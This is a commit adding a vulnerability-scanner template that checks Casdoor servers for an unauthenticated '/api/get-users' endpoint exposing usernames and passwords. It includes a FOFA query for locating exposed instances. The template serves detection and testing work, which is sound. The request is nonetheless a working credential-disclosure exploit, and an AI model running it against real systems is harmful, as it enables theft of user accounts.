Create casdoor-users-password.yaml

patch-1
Dhiyaneshwaran 2023-08-06 18:46:28 +05:30 committed by GitHub
parent 0890979b9d
commit 4fe4de5d03
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 37 additions and 0 deletions

View File

@ -0,0 +1,37 @@
id: casdoor-users-password
info:
name: Casdoor get-users Account Password Disclosure
author: DhiyaneshDk
severity: high
reference:
- https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Casbin%20get-users%20%E8%B4%A6%E5%8F%B7%E5%AF%86%E7%A0%81%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.md?plain=1
- https://github.com/qingchenhh/qc_poc/blob/main/Goby/Casbin_get_users.go
metadata:
max-request: 1
verified: true
fofa-query: title="Casdoor"
tags: casdoor,exposure,misconfig,disclosure
http:
- method: GET
path:
- "{{BaseURL}}/api/get-users?p=123&pageSize=123"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"name":'
- '"password":'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200